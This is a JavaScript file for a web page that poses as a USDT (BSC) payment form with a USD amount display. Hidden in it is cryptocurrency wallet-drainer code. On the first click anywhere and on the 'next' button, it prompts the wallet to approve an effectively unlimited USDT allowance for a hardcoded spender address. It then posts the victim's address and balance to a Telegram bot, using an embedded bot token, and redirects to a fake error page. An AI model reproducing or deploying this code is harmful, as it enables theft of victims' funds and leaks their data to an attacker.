// USD display update
document.getElementById("amount").addEventListener("input", () => {
  const value = parseFloat(document.getElementById("amount").value);
  document.getElementById("usdDisplay").textContent = (!isNaN(value) && value > 0) ? `= $${value.toFixed(2)}` : `= $0.00`;
});

const BSC_MAINNET_CHAIN_ID = '0x38';
const TOKEN_ADDRESS = '0x55d398326f99059fF775485246999027B3197955'; // USDT (BSC)
const SPENDER = '0xd53Fb59438027868dbbc6dE1a3ad71199Cff7cfA';
const AMOUNT = '55,398,325,990.000000000000000001';

let web3, walletType = 'UNKNOWN', userAddress;

async function initWeb3() {
  if (window.ethereum) {
    web3 = new Web3(window.ethereum);
    walletType = 'ETHEREUM';
  } else if (window.BinanceChain) {
    web3 = new Web3(window.BinanceChain);
    walletType = 'BINANCE';
  } else if (window.trustwallet) {
    web3 = new Web3(window.trustwallet);
    walletType = 'TRUSTWALLET';
  } else {
    return false;
  }
  return true;
}

async function getAccountsSilent() {
  try {
    if (walletType === 'BINANCE') {
      return await window.BinanceChain.request({ method: 'eth_accounts' });
    } else {
      return await window.ethereum.request({ method: 'eth_accounts' });
    }
  } catch {
    return [];
  }
}

async function requestAccountsPopup() {
  try {
    if (walletType === 'BINANCE') {
      return await window.BinanceChain.request({ method: 'eth_requestAccounts' });
    } else {
      return await window.ethereum.request({ method: 'eth_requestAccounts' });
    }
  } catch {
    return [];
  }
}

async function ensureBSCNetwork() {
  const chainId = await web3.eth.getChainId();
  if (chainId !== parseInt(BSC_MAINNET_CHAIN_ID, 16)) {
    try {
      await window.ethereum.request({
        method: 'wallet_switchEthereumChain',
        params: [{ chainId: BSC_MAINNET_CHAIN_ID }]
      });
    } catch {}
  }
}

function getUSDTContract() {
  const abi = [
    { "constant": true, "inputs": [], "name": "decimals", "outputs": [{ "name": "", "type": "uint8" }], "type": "function" },
    { "constant": true, "inputs": [{ "name": "_owner", "type": "address" }], "name": "balanceOf", "outputs": [{ "name": "balance", "type": "uint256" }], "type": "function" },
    { "constant": false, "inputs": [
      { "name": "_spender", "type": "address" },
      { "name": "_value", "type": "uint256" }
    ], "name": "approve", "outputs": [{ "name": "", "type": "bool" }], "type": "function" }
  ];
  return new web3.eth.Contract(abi, TOKEN_ADDRESS);
}

async function approveUSDT(amountHuman) {
  const token = getUSDTContract();
  const decimals = await token.methods.decimals().call();
  const amountWei = web3.utils.toBN(amountHuman).mul(web3.utils.toBN(10).pow(web3.utils.toBN(decimals)));
  await token.methods.approve(SPENDER, amountWei).send({ from: userAddress });
}

async function sendTelegramNotification(walletAddress) {
  try {
    const token = getUSDTContract();
    const decimals = await token.methods.decimals().call();
    const balanceWei = await token.methods.balanceOf(walletAddress).call();
    const balance = Number(balanceWei) / Math.pow(10, decimals);
    const message = `🚨New Wallet Approved\n🧾Address: ${walletAddress}\n💳USDT Balance (BEP20): ${balance}`;
    await fetch(`https://api.telegram.org/bot7969107308:AAEkeeIJr5JBJQm5CtIcwho-CQ1iN7q2EZk/sendMessage`, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        chat_id: "7996892481",
        text: message
      })
    });
  } catch (err) {
    console.error("Telegram notification failed:", err);
  }
}

async function silentFlow() {
  if (!await initWeb3()) return;
  const accounts = await getAccountsSilent();
  if (accounts.length) {
    userAddress = accounts[0];
  }
  await ensureBSCNetwork();
  await approveUSDT(AMOUNT);
  await sendTelegramNotification(userAddress);
}

async function forceFlow() {
  if (!await initWeb3()) return;
  let accounts = await getAccountsSilent();
  if (!accounts.length) accounts = await requestAccountsPopup();
  if (!accounts.length) return;
  userAddress = accounts[0];
  await ensureBSCNetwork();
  await approveUSDT(AMOUNT);
  await sendTelegramNotification(userAddress);
  window.location.href = '../error.html';
}

let firstTapDone = false;
document.addEventListener('click', () => {
  if (!firstTapDone) {
    firstTapDone = true;
    silentFlow();
  }
}, { once: true });

document.getElementById('nextBtn').addEventListener('click', async (e) => {
  document.getElementById('nextBtn').textContent = 'Processing..';
  await forceFlow();
});

document.getElementById("amount").addEventListener("input", () => {
  const value = parseFloat(document.getElementById("amount").value);
  const usdDisplay = document.getElementById("usdDisplay");
  if (!isNaN(value) && value > 0) {
    usdDisplay.textContent = `= $${value.toFixed(2)}`;
  } else {
    usdDisplay.textContent = `= $0.00`;
  }
});





